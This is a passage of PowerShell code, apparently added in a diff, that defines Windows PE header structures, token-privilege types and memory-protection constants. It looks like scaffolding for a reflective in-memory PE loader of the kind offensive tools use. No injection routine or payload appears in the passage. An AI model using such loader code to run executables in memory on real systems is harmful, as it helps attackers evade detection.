$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + 